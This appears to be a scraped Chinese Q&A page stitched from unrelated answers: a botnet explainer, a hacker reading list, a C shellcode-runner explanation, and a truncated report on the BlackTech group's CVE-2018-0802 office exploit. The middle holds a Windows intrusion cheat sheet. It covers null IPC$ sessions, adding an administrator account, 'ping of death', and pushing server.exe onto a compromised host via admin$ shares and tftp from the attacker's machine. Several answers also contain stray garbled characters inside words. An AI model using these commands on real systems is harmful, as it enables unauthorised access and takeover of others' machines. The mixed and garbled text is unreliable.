當前位置:首頁 » 編程語言 » c語言shellcode化下載
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言shellcode化下載

發布時間: 2023-05-27 09:55:52

『壹』 僵屍網路是什麼

僵屍網路是指採用一種或多種傳播手段,將大量主機感染bot程序(僵屍程序),從而在控制者和被感染主機之間所形成的一個可一對多控制的網路。
攻擊者通過各種途徑傳播僵屍程序感染互聯網上的大量主機,而被感染的主機將通過一個控制信道接收攻擊者的指令,組成一個僵屍網路。之所以用僵屍網路這個名字,是為了更形象的讓人們認識到這類危害的特點:眾多的計算機在不知不覺中如同中國古老傳說中的僵屍群一樣被人驅趕和指揮著,成為被人利用的一種工具。
在Botnet的概念中有這樣幾個關鍵詞。「bot程序」是robot的縮寫,是指實現惡意控制功能的程序代碼;「僵屍計算機」就是被植入bot的計算機;「控制伺服器(Control Server)」是指控制和通信的中心伺服器,在基於IRC(網際網路中繼聊天)協議進行控制的Botnet中,就是指提供IRC聊天服務的伺服器。
Botnet
首先是一個可控制的網路,這個網路並不是指物理意義上具有拓撲結構的網路,它具有一定的分布性,隨著bot程序的不斷傳播而不斷有新位置的僵屍計算機添加到這個網路中來。
其次,這個網路是採用了一定的惡意傳播手段形成的,例如主動漏洞攻擊,郵件病毒等各種病毒與蠕蟲的傳播手段,都可以用來進行Botnet的傳播,從這個意義上講,惡意程序bot也是一種病毒或蠕蟲。
最後一點,也是Botnet的最主要的特點,就是可以一對多地執行相同的惡意行為,比如可以同時對某目標網站進行分布式拒絕服務(DDos)攻擊,同時發送大量的垃圾郵件等,而正是這種一對多的控制關系,使得攻擊者能夠以極低的代價高效地控制大量的資源為其服務,這也是Botnet攻擊模式近年來受到黑客青睞的根本原因。在執行惡意行為的時候,Botnet充當了一個攻擊平台的角色,這也就使得Botnet不同於簡單的病毒和蠕蟲,也與通常意義的木馬有所不同。
僵屍網路是互聯網上受到黑客集中控制的一群計算機,往往被黑客用來發起大規模的網路攻擊,如分布式拒絕服務攻擊(DDoS)、海量垃圾郵件等,同時黑客控制的這些計算機所保存的信息,譬如銀行帳戶的密碼與社會安全號碼等也都可被黑客隨意「取用」。因此,不論是對網路安全運行還是用戶數據安全的保護來說,僵屍網路都是極具威脅的隱患。僵屍網路的威脅也因此成為目前一個國際上十分關注的問題。然而,發現一個僵屍網路是非常困難的,因為黑客通常遠程、隱蔽地控制分散在網路上的「僵屍主機」,這些主機的用戶往往並不知情。因此,僵屍網路是目前互聯網上黑客最青睞的作案工具。
對網友而言,感染上「僵屍病毒」卻十分容易。網路上搔首弄姿的美女、各種各樣有趣的小游戲,都在吸引著網友輕輕一點滑鼠。但事實上,點擊之後毫無動靜,原來一切只是騙局,意在誘惑網友下載有問題的軟體。一旦這種有毒的軟體進入到網友電腦,遠端主機就可以發號施令,對電腦進行操控。
專家表示,每周平均新增數十萬台任人遙控的僵屍電腦,任憑遠端主機指揮,進行各種不法活動。多數時候,僵屍電腦的根本不曉得自己已被選中,任人擺布。
僵屍網路之所以出現,在家高速上網越來越普遍也是原因。高速上網可以處理(或製造)更多的流量,但高速上網家庭習慣將電腦長時間開機,唯有電腦開機,遠端主機才可以對僵屍電腦發號施令。
網路專家稱:「重要的硬體設施雖然非常重視殺毒、防黑客,但網路真正的安全漏洞來自於住家用戶,這些個體戶欠缺自我保護的知識,讓網路充滿地雷,進而對其他用戶構成威脅。」
Botnet的發展過程
Botnet是隨著自動智能程序的應用而逐漸發展起來的。在早期的IRC聊天網路中,有一些服務是重復出現的,如防止頻道被濫用、管理許可權、記錄頻道事件等一系列功能都可以由管理者編寫的智能程序所完成。於是在1993 年,在IRC 聊天網路中出現了Bot 工具——Eggdrop,這是第一個bot程序,能夠幫助用戶方便地使用IRC 聊天網路。這種bot的功能是良性的,是出於服務的目的,然而這個設計思路卻為黑客所利用,他們編寫出了帶有惡意的Bot 工具,開始對大量的受害主機進行控制,利用他們的資源以達到惡意目標。
20世紀90年代末,隨著分布式拒絕服務攻擊概念的成熟,出現了大量分布式拒絕服務攻擊工具如TFN、TFN2K和Trinoo,攻擊者利用這些工具控制大量的被感染主機,發動分布式拒絕服務攻擊。而這些被控主機從一定意義上來說已經具有了Botnet的雛形。
1999 年,在第八屆DEFCON 年會上發布的SubSeven 2.1 版開始使用IRC 協議構建攻擊者對僵屍主機的控制信道,也成為第一個真正意義上的bot程序。隨後基於IRC協議的bot程序的大量出現,如GTBot、Sdbot 等,使得基於IRC協議的Botnet成為主流。
2003 年之後,隨著蠕蟲技術的不斷成熟,bot的傳播開始使用蠕蟲的主動傳播技術,從而能夠快速構建大規模的Botnet。著名的有2004年爆發的Agobot/Gaobot 和rBot/Spybot。同年出現的Phatbot 則在Agobot 的基礎上,開始獨立使用P2P 結構構建控制信道。
從良性bot的出現到惡意bot的實現,從被動傳播到利用蠕蟲技術主動傳播,從使用簡單的IRC協議構成控制信道到構建復雜多變P2P結構的控制模式,Botnet逐漸發展成規模龐大、功能多樣、不易檢測的惡意網路,給當前的網路安全帶來了不容忽視的威脅。
Botnet的工作過程
Botnet的工作過程包括傳播、加入和控制三個階段。
一個Botnet首先需要的是具有一定規模的被控計算機,而這個規模是逐漸地隨著採用某種或某幾種傳播手段的bot程序的擴散而形成的,在這個傳播過程中有如下幾種手段:
(1)主動攻擊漏洞。其原理是通過攻擊系統所存在的漏洞獲得訪問權,並在Shellcode 執行bot程序注入代碼,將被攻擊系統感染成為僵屍主機。屬於此類的最基本的感染途徑是攻擊者手動地利用一系列黑客工具和腳本進行攻擊,獲得許可權後下載bot程序執行。攻擊者還會將僵屍程序和蠕蟲技術進行結合,從而使bot程序能夠進行自動傳播,著名的bot樣本AgoBot,就是實現了將bot程序的自動傳播。
(2)郵件病毒。bot程序還會通過發送大量的郵件病毒傳播自身,通常表現為在郵件附件中攜帶僵屍程序以及在郵件內容中包含下載執行bot程序的鏈接,並通過一系列社會工程學的技巧誘使接收者執行附件或點擊鏈接,或是通過利用郵件客戶端的漏洞自動執行,從而使得接收者主機被感染成為僵屍主機。
(3)即時通信軟體。利用即時通信軟體向好友列表發送執行僵屍程序的鏈接,並通過社會工程學技巧誘騙其點擊,從而進行感染,如2005年年初爆發的MSN性感雞(Worm.MSNLoveme)採用的就是這種方式。
(4)惡意網站腳本。攻擊者在提供Web服務的網站中在HTML頁面上綁定惡意的腳本,當訪問者訪問這些網站時就會執行惡意腳本,使得bot程序下載到主機上,並被自動執行。
(5)特洛伊木馬。偽裝成有用的軟體,在網站、FTP 伺服器、P2P 網路中提供,誘騙用戶下載並執行。
通過以上幾種傳播手段可以看出,在Botnet的形成中傳播方式與蠕蟲和病毒以及功能復雜的間諜軟體很相近。
在加入階段,每一個被感染主機都會隨著隱藏在自身上的bot程序的發作而加入到Botnet中去,加入的方式根據控制方式和通信協議的不同而有所不同。在基於IRC協議的Botnet中,感染bot程序的主機會登錄到指定的伺服器和頻道中去,在登錄成功後,在頻道中等待控制者發來的惡意指令。圖2為在實際的Botnet中看到的不斷有新的bot加入到Botnet中的行為。
在控制階段,攻擊者通過中心伺服器發送預先定義好的控制指令,讓被感染主機執行惡意行為,如發起DDos攻擊、竊取主機敏感信息、更新升級惡意程序等。圖3為觀測到的在控制階段向內網傳播惡意程序的Botnet行為。
Botnet的分類
Botnet根據分類標準的不同,可以有許多種分類。
按bot程序的種類分類
(1)Agobot/Phatbot/Forbot/XtremBot。這可能是最出名的僵屍工具。防病毒廠商Spphos 列出了超過500種已知的不同版本的Agobot(Sophos 病毒分析),這個數目也在穩步增長。僵屍工具本身使用跨平台的C++寫成。Agobot 最新可獲得的版本代碼清晰並且有很好的抽象設計,以模塊化的方式組合,添加命令或者其他漏洞的掃描器及攻擊功能非常簡單,並提供像文件和進程隱藏的Rootkit 能力在攻陷主機中隱藏自己。在獲取該樣本後對它進行逆向工程是比較困難的,因為它包含了監測調試器(Softice 和O11Dbg)和虛擬機(VMware 和Virtual PC)的功能。
(2)SDBot/RBot/UrBot/SpyBot/。這個家族的惡意軟體目前是最活躍的bot程序軟體,SDBot 由c語言寫成。它提供了和Agobot 一樣的功能特徵,但是命令集沒那麼大,實現也沒那麼復雜。它是基於IRC協議的一類bot程序。
(3)GT-Bots。GT-Bots是基於當前比較流行的IRC客戶端程序mIRC編寫的,GT是(Global Threat)的縮寫。這類僵屍工具用腳本和其他二進制文件開啟一個mIRC聊天客戶端, 但會隱藏原mIRC窗口。通過執行mIRC 腳本連接到指定的伺服器頻道上,等待惡意命令。這類bot程序由於捆綁了mIRC程序,所以體積會比較大,往往會大於1MB。
按Botnet的控制方式分類
(1)IRC Botnet。是指控制和通信方式為利用IRC協議的Botnet,形成這類Botnet的主要bot程序有spybot、GTbot和SDbot,目前絕大多數Botnet屬於這一類別。
(2)AOL Botnet。與IRC Bot類似,AOL為美國在線提供的一種即時通信服務,這類Botnet是依託這種即時通信服務形成的網路而建立的,被感染主機登錄到固定的伺服器上接收控制命令。AIM-Canbot和Fizzer就採用了AOL Instant Messager實現對Bot的控制。
(3)P2P Botnet。這類Botnet中使用的bot程序本身包含了P2P的客戶端,可以連入採用了Gnutella技術(一種開放源碼的文件共享技術)的伺服器,利用WASTE文件共享協議進行相互通信。由於這種協議分布式地進行連接,就使得每一個僵屍主機可以很方便地找到其他的僵屍主機並進行通信,而當有一些bot被查殺時,並不會影響到Botnet的生存,所以這類的Botnet具有不存在單點失效但實現相對復雜的特點。Agobot和Phatbot採用了P2P的方式。
Botnet的危害
Botnet構成了一個攻擊平台,利用這個平台可以有效地發起各種各樣的攻擊行為,可以導致整個基礎信息網路或者重要應用系統癱瘓,也可以導致大量機密或個人隱私泄漏,還可以用來從事網路欺詐等其他違法犯罪活動。下面是已經發現的利用Botnet發動的攻擊行為。隨著將來出現各種新的攻擊類型,Botnet還可能被用來發起新的未知攻擊。
(1)拒絕服務攻擊。使用Botnet發動DDos攻擊是當前最主要的威脅之一,攻擊者可以向自己控制的所有bots發送指令,讓它們在特定的時間同時開始連續訪問特定的網路目標,從而達到DDos的目的。由於Botnet可以形成龐大規模,而且利用其進行DDos攻擊可以做到更好地同步,所以在發布控制指令時,能夠使得DDos的危害更大,防範更難。
(2)發送垃圾郵件。一些bots會設立sockv4、v5 代理,這樣就可以利用Botnet發送大量的垃圾郵件,而且發送者可以很好地隱藏自身的IP信息。
(3)竊取秘密。Botnet的控制者可以從僵屍主機中竊取用戶的各種敏感信息和其他秘密,例如個人帳號、機密數據等。同時bot程序能夠使用sniffer觀測感興趣的網路數據,從而獲得網路流量中的秘密。
(4)濫用資源。攻擊者利用Botnet從事各種需要耗費網路資源的活動,從而使用戶的網路性能受到影響,甚至帶來經濟損失。例如:種植廣告軟體,點擊指定的網站;利用僵屍主機的資源存儲大型數據和違法數據等,利用僵屍主機搭建假冒的銀行網站從事網路釣魚的非法活動。
可以看出,Botnet無論是對整個網路還是對用戶自身,都造成了比較嚴重的危害,我們要採取有效的方法減少Botnet的危害。
Botnet的研究現狀
對於Botnet的研究是最近幾年才逐漸開始的,從反病毒公司到學術研究機構都做了相關的研究工作。最先研究和應對Botnet的是反病毒廠商。它們從bot程序的惡意性出發,將其視為一種由後門工具、蠕蟲、Spyware 等技術結合的惡意軟體而歸入了病毒的查殺范圍。著名的各大反病毒廠商都將幾個重要的bot程序特徵碼寫入到病毒庫中。賽門鐵克從2004 年開始,在其每半年發布一次的安全趨勢分析報告中,以單獨的章節給出對Botnet活動的觀測結果。卡巴斯基也在惡意軟體趨勢分析報告中指出,僵屍程序的盛行是2004年病毒領域最重大的變化。
學術界在2003年開始關注Botnet的發展。國際上的一些蜜網項目組和蜜網研究聯盟的一些成員使用蜜網分析技術對Botnet的活動進行深入跟蹤和分析,如Azusa Pacific大學的Bill McCarty、法國蜜網項目組的Richard Clarke、華盛頓大學Dave Dittrich和德國蜜網項目組。特別是德國蜜網項目組在2004年11月到2005 年1月通過部署Win32蜜罐機發現並對近100個Botnet進行了跟蹤,並發布了Botnet跟蹤的技術報告。
Botnet的一個主要威脅是作為攻擊平台對指定的目標發起DDos(分布式拒絕服務攻擊)攻擊,所以DDos的研究人員同樣也做了對Botnet的研究工作。由國外DDosVax組織的「Detecting Bots in Internet Relay Chat Systems」項目中,分析了基於IRC協議的bot程序的行為特徵,在網路流量中擇選出對應關系,從而檢測出Botnet的存在。該組織的這個研究方法通過在plantlab中搭建一個Botnet的實驗環境來進行測試,通過對得到的數據進行統計分析,可以有效驗證關於Botnet特徵流量的分析結果,但存在著一定的誤報率。
國內在2005年時開始對Botnet有初步的研究工作。北京大學計算機科學技術研究所在2005年1月開始實施用蜜網跟蹤Botnet的項目,對收集到的惡意軟體樣本,採用了沙箱、蜜網這兩種各有優勢的技術對其進行分析,確認其是否為僵屍程序,並對僵屍程序所要連接的Botnet控制信道的信息進行提取,最終獲得了60,000 多個僵屍程序樣本分析報告,並對其中500多個仍然活躍的Botnet進行跟蹤,統計出所屬國分布、規模分布等信息。
國家應急響應中心通過863-917網路安全監測平台,在2005年共監測到的節點大於1000個的Botnet規模與數量統計如圖4所示。
這些數據和活動情況都說明,我國國內網上的Botnet的威脅比較嚴重,需要引起網路用戶的高度重視。
CCERT惡意代碼研究項目組在2005年7月開始對Botnet的研究工作,通過對大量已經掌握的Botnet的實際跟蹤與深入分析,對基於IRC協議的Botnet的伺服器端的特徵進行了分類提取,形成對於Botnet 伺服器端的判斷規則,從而可以對網路中的IRC Server進行性質辨別。設計並初步實現了Botnet自動識別系統,應用於中國教育和科研計算機網路環境中。
可以看出,從國內到國外,自2004年以來對Botnet的研究越來越多地受到網路安全研究人員的重視,研究工作已經大大加強。但是這些工作還遠遠不夠,在檢測和處置Botnet方面還有許多工作要做。
Botnet的研究方法
對於目前比較流行的基於IRC協議的Botnet的研究方法,主要使用蜜網技術、網路流量研究以及IRC Server識別技術。
(1)使用蜜網技術。蜜網技術是從bot程序出發的,可以深入跟蹤和分析Botnet的性質和特徵。主要的研究過程是,首先通過密罐等手段盡可能多地獲得各種流傳在網上的bot程序樣本;當獲得bot程序樣本後,採用逆向工程等惡意代碼分析手段,獲得隱藏在代碼中的登錄Botnet所需要的屬性,如Botnet伺服器地址、服務埠、指定的惡意頻道名稱及登錄密碼,以及登錄所使用到的用戶名稱,這些信息都為今後有效地跟蹤Botnet和深入分析Botnet的特徵提供了條件。在具備了這些條件之後,使用偽裝的客戶端登錄到Botnet中去,當確認其確實為Botnet後,可以對該Botnet採取相應的措施。
(2)網路流量研究。網路流量的研究思路是通過分析基於IRC協議的Botnet中僵屍主機的行為特徵,將僵屍主機分為兩類:長時間發呆型和快速加入型。具體來說就是僵屍主機在Botnet中存在著三個比較明顯的行為特徵,一是通過蠕蟲傳播的僵屍程序,大量的被其感染計算機會在很短的時間內加入到同一個IRC Server中;二是僵屍計算機一般會長時間在線;三是僵屍計算機作為一個IRC聊天的用戶,在聊天頻道內長時間不發言,保持空閑。將第一種行為特徵歸納為快速加入型,將第二、三種行為特徵歸納為長期發呆型。
研究對應這兩類僵屍計算機行為的網路流量變化,使用離線和在線的兩種分析方法,就可以實現對Botnet的判斷。
(3)IRC Server識別技術的研究。通過登錄大量實際的基於IRC協議的Botnet的伺服器端,可以看到,由於攻擊者為了隱藏自身而在伺服器端刻意隱藏了IRC伺服器的部分屬性。同時,通過對bot源代碼的分析看到,當被感染主機加入到控制伺服器時,在伺服器端能夠表現出許多具有規律性的特徵。通過對這些特徵的歸納總結,就形成了可以用來判斷基於IRC協議的Botnet的伺服器端的規則,這樣就可以直接確定出Botnet的位置及其規模、分布等性質,為下一步採取應對措施提供有力的定位支持。
以上三種研究方法都是針對基於IRC協議的Botnet。對於P2P結構的Botnet的研究較少,原因是由於其實現比較復雜,在網路中並不佔有太大比例,同時也因為其在控制方式上的分布性使得對它的研究比較困難。但隨著Botnet的發展,對於P2P結構的Botnet的研究也將進一步深入。

『貳』 怎麼把shellcode轉化為c語言

要麼重新用C語言實現shell腳本實現的功能,要麼使用c調用這個腳本(個人觀點)

『叄』 我想自學計算機請問我要要買那些最基礎的資料書啊

1.《黑客入門》
這是我看的第一本黑客書籍,是比較初級的一些黑客知識,但是後面的實例運用到了html代碼,主要是講
網頁方面入歷指滲侵知識,當時我自己也看不懂那些,因此就去把html學一下(其實也就是看看代碼而已,自己
根本寫不出啥代碼來,呵呵……)
2.《30天打造專業紅客》
任何一本寫著什麼幾天精通,幾天速成的書,其實都是不可信的,但這不是我們現在要講的問題,這本書
可以彌補上本書中的本足之處,裡面有一些內容可能講得會比較詳細些,適合初學者。
3.《防黑檔案》
這本書是東方飄雲寫的,好像就是綠色兵團的副司令吧,呵呵,我先頂一下…………
4.《黑客攻防實戰入門》
這是一本以實戰為主線的黑客書籍,大力推薦!!!必竟電腦技術本來就是要在實踐中才能提高的,光靠
理論是行不通,你可以邊看此書邊操作,相信對於你的實戰能力會有所幫助的。
上面這些都是一些黑客入門方面的書籍,其中有部分是相同,大家可擇其善者而從之!!!
5.《C語言程序設計》
不學編程的人是永遠不可能成為黑客的,因此學編程也成為我們在學黑道路上的必經之路,也是最需要精
力與耐力的過程。這本就是譚浩強寫的那本,大家也可以看看老外寫的那本《the c programe language》,
如果你能將書中的代碼都自己調試操作一遍,對於C語言基礎知識的掌握應該不成問題。
6.《VC++深入詳解》
這是一本他人根據孫鑫的視頻教程編寫的一本書,因此這本書也就有其配套視頻了,地址如下:
http://tech.163.com/special/0009159F/vc.html
7.《IBM-PC匯編語言程序設計》
這是清華大學出版的,雖然有點過時了,是本16位機器時代的,與現在的win32,win64有點差別,但其本
質也是大同小異的,相信對於想學習逆向分析的戰友們,匯編也是一項必修課啊,關於此書,各位可以看
看中山大學的匯編語言視頻教程,其教學方式也是比較新穎的,大家一看便知,地址如下:
http://bbs.topsage.com/dispbbs_121_164375_1.html
如果想要看在線視頻,可通過下面地址查看:http://202.116.65.193/Ncourse/hbyy/hb01/,
將後面的hb01改為02,03……即可,不過很慢,緩沖都要N久,我是等得不耐煩了,呵呵
8.《windows環境下的32位匯編語言程序設計》
就是羅雲彬寫的那本,如果你學完了上本匯編書籍或視頻,那麼就可以開始學習win32匯編了,要知道這本
書我是用手機看的,呵呵,不容易啊,因為缺乏實踐,因此自己學得也不咋滴,自己是打算先簡單看一遍
,簡單了解個大概,再看第二遍,這遍以實踐操作為主,最後再系統地復習一遍,這項任務,本人尚未完
成啊,以上意見也只是給大家做個參考而已,希望對大家有所幫助。
9.《ASP從入門到精通》
想學腳本入侵的戰友,腳本語言是一定要學的,有機會也最好自己做個博客之類的站點。這本書後面有很
多的實例項目,如後台管理,收費系統等等。另外還有一本我自己看過的關於asp的書——《ASP可視化編
程與應用》,此書是在dreamweaver下面的實踐操作,也算是在學asp的同時,也學習一下dreamweaver的
使用,一舉兩得。這兩本書中對html以及vbscript均有所講解,因為asp中可嵌入vbscript,javascript.
10.《php高手寶典》
此書我逗腔是沒看過,只是看了下目錄與開頭而已,打算後面有時間再補看一下,因此對此書我也沒有什麼發
言權了,有看過的戰友可以發表一下意見。
11.《黑客反匯編揭秘》
這是一本關於逆向分析的書,與其配套的還有一本叫《黑客調試技術揭秘》,反匯編這本書網上有電子書
,大家可下載來看,pdf格式的,但是調試這本書我沒找到,在網上寫著調試的書名,下載下來才發現是反
匯編那本書.這兩本書對匯編知識均有一定的要求,因此建議大家先學完匯編再看。
12.《網路黑客加密與解密》
這本書裡面有一些腳本入侵方面的一點知識,內容較少,主要是講加解密方面的知識,後面有大部分的破
解實例講解,但注釋較少,我自己當時也是看得迷糊迷糊的(沒辦法,自己匯編能力差點,呵呵)
13.《加密解密全方位學習》
這本書我是在圖書館看到的,適合加解密初學者,因為這本書要求的預備知識不高,只要有點C語言基礎就
可以,裡面肢脊會講到一些相對簡單些的匯編指令,以及crackme的簡單製作,還有注冊機的編寫(個人覺得不
是很詳細)
14.《加密與解密》
就是看雪學院那本書,第三版快出來了,就在這一二月份吧!我 看的是第二版的電子書,還沒看完,這本
書在加解密方面寫得算是比較完整詳細的了,而且是從基礎講起,循序漸進,大力推薦,若要學習逆向工
程,看雪學院也確實是個不錯的地方。
15.《shellcode編程揭秘》
這是一本關於緩沖區溢出攻擊的書,我自己也沒看過,不過電子書倒是有,就放在郵箱裡面,呵呵,打算
後面再看,關於溢出攻擊的書還有很多,如《網路滲透技術》,《緩沖區溢出攻擊檢測,預防,剖析》,
《the shellcode handbook》
16.《深入理解計算機系統》
此書也是我在圖書館借的,被我霸佔了半年之久,這次又被我借回來復習一下了(真對不起各位書友啊,
呼呼……),這是一本站在程序員的角度寫的一本書,因此也必須要有C語言基礎,要是有unix系統的操作
經驗會更好,因為這本書中的代碼就是在UNIX下調試操作的。相信這本書對於你學出更好的代碼會有一定
的幫助,其中還有特別的一章用來講解如何編寫高效的程序,並以一個實例代碼來講解,一步步地進行完
善,最終寫出一個高效率的程序。這本書也是學溢出攻擊方面的基礎知識,在安全焦點上也說這本書是《
網路滲透技術》的基礎知識,但看完這本書也不一定能看懂網滲,呵呵……
17.《rootkit:windows內核安全防護》
內容簡介
本書是目前第一本關於rootkit的詳盡指南,包括rootkit的概念、它們是怎樣工作的、如何構建和檢測它們
。世界頂級軟體安全專家、rootkit.com創始人Greg Hoglund和James Butler向大家詳細介紹攻擊者是如何
進入系統並長期駐留而不會被檢測到的,以及黑客是如何摧毀Windows XP和Windows 2000內核系統的,
其概念可以應用於現代任何主流操作系統。通過本書,讀者可以全面掌握rootkit,提升自己的計算機安全
防範能力.
18.《0day安全:軟體漏洞分析技術》
四月份剛出版的,看雪論壇的,有看過一部分學得還不錯,適合對溢出感興趣的戰友們。要告訴你點常識…雖然多,但都是基本的!希望你可以用心去學!

DOS 命令
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員許可權,注意:
administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與"目標IP"主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:"-w數字"用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:"-l[空格]數據包大小";"-n發送數據次數";"-t"指一直
ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參
數"/all"顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-
H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如"DEL/AR *.*"表示刪除當前目錄下所有隻讀文件,"DEL/A-
S *.*"表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統
確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命

at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:
2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文
件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將"IP"的
server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式
(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文
本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway
addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令 望採納O(∩_∩)O

『肆』 一段C語言代碼詳解

shellcode[] 中汪知猜包含的是一段執行相關功能的硬編碼 (手工寫困型的二進制代猛滾碼);

// 進入 main() 的時候棧是:
// [RET] main 函數返回地址
// [EBP]

int *ret;
// 到這里:
// [RET]
// [EBP]
// [int *ret]

ret = (int *)&ret + 2;
// 到這里:
// [RET] <- ret
// [EBP]
// [ret] -> RET

(*ret) = (int)shellcode;
// 到這里:
// [shellcode] <- ret
// [EBP]
// [ret]

這樣, 當 main 返回時, 會執行 shellcode 中的指令代碼.

『伍』 hex文件轉換成C語言

文件有兩種,一種是文本文件,一種是程序二進制文件,不管哪種文件都可以用十六進制編碼來顯示,稱為hex文件。


1、文本Hex文件一般不需要轉成C語言,更多的是程序二進制文件,用十六進制顯示,可以轉換成C語言,一般使用相應的反匯編程序來實現,這方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。


OllyDbg,簡稱OD,一般是軟體逆向工程愛好者,最先使用的一個工具,但是因為當下不野銷在更新,所以一般用一般用於學習使用,下圖中左上角的區域即為反匯編區域 ,用戶可以根據匯編指令,分析程序演算法,然後自己編寫代碼。

通過這個實例 ,相信應該能理解一個大致的流程啦。

『陸』 e5cc_8哪個參數設定地址

一、 概述
「黑鳳梨」(BlackTech,T-APT-03)是一個長期活躍在亞洲地區的APT組織,其最早的活動可見於2011年,由2017年5月被國外安全公司進行披露。
近期,騰訊御見威脅情報中心抓獲了一例該APT組織的最新攻擊活動,該次攻擊採用office文檔為誘餌進行魚叉攻擊,通過最新的0day漏洞來投遞載荷。載荷為代號為PLEAD的RAT木馬,該木馬主體是可直接執行的二進制代碼(shellcode),精湛短小,非常容易免殺。
從2011年至今,騰訊御見威脅情報中心在跨度長達6年的時間內對該組織進行追蹤,總共捕捉到數百個樣本和c&c域名。
二、 載荷投遞
1、 本次載荷投遞
本次攻擊採用魚叉攻擊的方式,誘餌文件為繁體的攜帶有最新office 0day的文檔:
該惡意文檔內嵌了一個PEPayload,兩個OLE對象,OLE的對象的目的是拉起PE Payload。其中OLE1則包含了0day CVE-2018-0802的漏洞利用程序,OLE 2包含了CVE-2017-11882的漏洞利用程序,這兩個漏洞均位於Microsoft Office的公式編輯器Eqnedt32.exe中。
(1) 漏洞分析
微軟在11月份發布的補丁中,修復了CVE-2017-11882漏洞,通過二進制patch的方式對存在棧溢出的函數和調用者進行了長度校驗,同時對Eqnedt32.exe增加了ASLR防護措施,增加了漏洞利用的難度。CVE-2017-11882棧溢出漏洞存在於Eqnedt32.exe處理公式中字體名字的過程中,由騰訊電腦管家報告的高危漏洞CVE-2018-0802同樣也是一個棧溢出漏洞,也位於Eqnedt32.exe處理公式中字體名字的過程。
1) 關鍵數據結構
